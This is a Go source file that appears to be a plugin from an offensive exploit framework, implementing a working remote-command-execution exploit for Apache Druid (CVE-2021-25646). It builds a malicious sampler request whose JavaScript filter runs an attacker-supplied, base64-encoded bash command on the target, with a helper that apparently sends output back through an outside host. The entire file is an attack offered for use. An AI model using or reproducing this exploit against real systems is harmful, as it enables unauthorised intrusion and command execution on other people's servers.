package drops

import (
	"context"
	"encoding/base64"
	"gitee.com/wudicaidou/menciis-evilops/expbase"
	"gitee.com/wudicaidou/menciis-pocx/pocbase"
	shttp "gitee.com/wudicaidou/menciis-shttp"
	"net/http"
	"net/url"
	"time"
)

type ApacheDruidCve202125646 struct {
	expbase.BaseExploitPlugin
}

func init() {
	var exp ApacheDruidCve202125646
	info := exp.Meta()
	ExpApis[info.VulId] = &exp
}

func (t *ApacheDruidCve202125646) Meta() *expbase.ExpMeta {
	return &expbase.ExpMeta{
		Id:      "98259a9d-950e-4313-aaa2-2e9d4a00dbca",
		VulId:   "befc2a9c-80d4-47c4-8331-46d2ba5c7402",
		Name:    "ApacheDruid_CVE_2021_25646",
		Ability: expbase.TypeCommandExecution,
		Echo:    true,
	}
}

func (t *ApacheDruidCve202125646) ExecuteCommand(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.CommandResultEvent, err error) {
	reqAsset, ok := expContext.Target.(*pocbase.RequestAsset)
	if !ok {
		return nil, expbase.ErrEmptyReqAsset
	}
	req := reqAsset.Req.Clone()
	newUrl, err := url.Parse(req.GetUrl().String() + `/druid/indexer/v1/sampler?for=filter`)
	if err != nil {
		return nil, err
	}
	req.RawRequest.URL = newUrl
	req.RawRequest.Method = http.MethodPost
	req.RawRequest.Header.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0")
	req.RawRequest.Header.Add("Accept", "application/json, text/plain, */*")
	req.RawRequest.Header.Add("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2")
	req.RawRequest.Header.Add("Accept-Encoding", "gzip, deflate")
	req.RawRequest.Header.Add("Content-Type", "application/json;charset=utf-8")
	req.RawRequest.Header.Add("Connection", "close")
	//for _, cmd := range expContext.CommandToExecute {
	cmd, _, err := expbase.ReverseHost(req.GetHost(), expContext.CommandToExecute, 10)
	if err != nil {
		return nil, err
	}
	res := base64.StdEncoding.EncodeToString([]byte(cmd))
	res = `bash -c {echo,` + res + `}|{base64,-d}|{bash,-i}`
	body := `{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript",
				"function":"function(value){return java.lang.Runtime.getRuntime().exec('` + res + `')}",
				"dimension":"added",
				"":{
				"enabled":"true"
				}
				}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000}}`
	req.SetBody([]byte(body))
	client, err := shttp.NewDefaultClient(nil)
	if err != nil {
		return nil, err
	}
	resp, err := client.Do(ctx, req)
	if err != nil {
		return nil, err
	}
	data = append(data, &expbase.CommandResultEvent{
		Request:   *req.RawRequest,
		Response:  *resp.RawResponse,
		EventBase: t.GetEventBase(expContext.Target, t),
		Command:   cmd,
		Result:    resp.GetBody(),
	})
	//}
	time.Sleep(time.Second * 1)
	return data, nil
}

func (t *ApacheDruidCve202125646) GetBasicInfo(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.BasicInfoEvent, err error) {
	return nil, nil
}

func (t *ApacheDruidCve202125646) DownloadFile(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.FileDownloadEvent, err error) {
	return nil, nil
}
